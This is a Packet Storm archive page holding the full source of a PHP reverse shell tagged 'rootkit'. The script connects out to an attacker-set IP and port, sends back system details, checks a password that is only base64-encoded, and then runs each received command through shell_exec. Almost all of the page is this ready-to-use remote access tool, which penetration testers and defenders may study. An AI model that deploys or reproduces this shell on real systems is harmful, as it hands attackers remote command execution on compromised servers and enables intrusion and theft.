exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Reverse Shell 1.0

Reverse Shell 1.0
Posted Oct 9, 2012
Authored by Ashfaq Ansari

This sample code is a reverse shell written in PHP with an authentication feature.

tags | tool, shell, php, rootkit
systems | unix
SHA-256 | baa6da9a5a8a1d7c041facc10f0ed1b4c6b6b4431f46cb1460624911beda9e6b

Reverse Shell 1.0

Change Mirror Download
<?php
###################################################
# Reverse Shell v1.0 #
# Authentication Feature #
# #
# Hacksys Team - Panthera #
# Author: Ashfaq Ansari #
# hacksysteam@hotmail.com #
# http://hacksys.vfreaks.com #
# Designed for Linux #
# Thanks to lionaneesh #
# lionaneesh@gmail.com #
###################################################

ini_set('max_execution_time' ,0);

$VERSION = "1.0";
$ip = "127.0.0.1"; #Change this
$port = 4444; #Change this
$password = base64_decode("aGFja3N5c3RlYW0="); #Default Password: hacksysteam (MD5)

$banner = ("
_ _ _ _____
| | | | | | / ____|
| |__| | __ _ ___| | _| (___ _ _ ___
| __ |/ _` |/ __| |/ /\___ \| | | / __|
| | | | (_| | (__| < ____) | |_| \__ \
|_| |_|\__,_|\___|_|\_\_____/ \__, |___/
_______ __/ |
|__ __| |___/
| | ___ __ _ _ __ ___
| |/ _ \/ _` | '_ ` _ \
| | __/ (_| | | | | | |
|_|\___|\__,_|_| |_| |_|

Reverse Shell in PHP
Author: Ashfaq Ansari
hacksysteam@hotmail.com
http://hacksys.vfreaks.com/\n\n");

$pwd = shell_exec("pwd");
$sysinfo = shell_exec("uname -a");
$id = shell_exec('id | cut -d "(" -f 2 | cut -d ")" -f 1' );
$date = shell_exec("date");
$len = 1337;
$info =
("
System Information:\n$sysinfo
Current Working Directory: $pwd
User Group: $id
Current Date and Time: $date\n
");

print "\nTrying to connect to: $ip on port $port ...\n\n";

$sockfd = fsockopen($ip , $port , $errno, $errstr );

if($errno != 0)
{
print "\n****** Error Occured ******\nError Nnumber: $errno\nError String: $errstr\n\n";
die(0);
}
else if (!$sockfd)
{
print "Fatal : An unexpected error was occured when trying to connect!\n";
}
else
{
print "Connected to: $ip on port $port ...\n\n";
fputs ($sockfd , $banner);
fputs($sockfd ,"Enter Password: ");
$getpass = trim(fgets($sockfd, strlen($password) + 2));

if ($getpass == $password)
{
fputs($sockfd, "\nAuthentication Successfull..\n");
fputs($sockfd, $info);
while(!feof($sockfd))
{
$cmdPrompt = trim($id) . "@" . trim($ip) . ":~" . trim($pwd) . "# ";
fputs ($sockfd , $cmdPrompt );
$command = trim(fgets($sockfd, $len));
if (trim($command) == "exit")
{
fputs($sockfd ,"\nAborted by user... Exiting..." );
fclose($sockfd);
die(0);
}
fputs($sockfd , "\n" . shell_exec($command) . "\n");
}
fclose($sockfd);
die(0);
}
else
{
fputs($sockfd ,"\nInvalid Password... Quitting...");
fclose($sockfd);
die(0);
}
}
?>

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    29 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close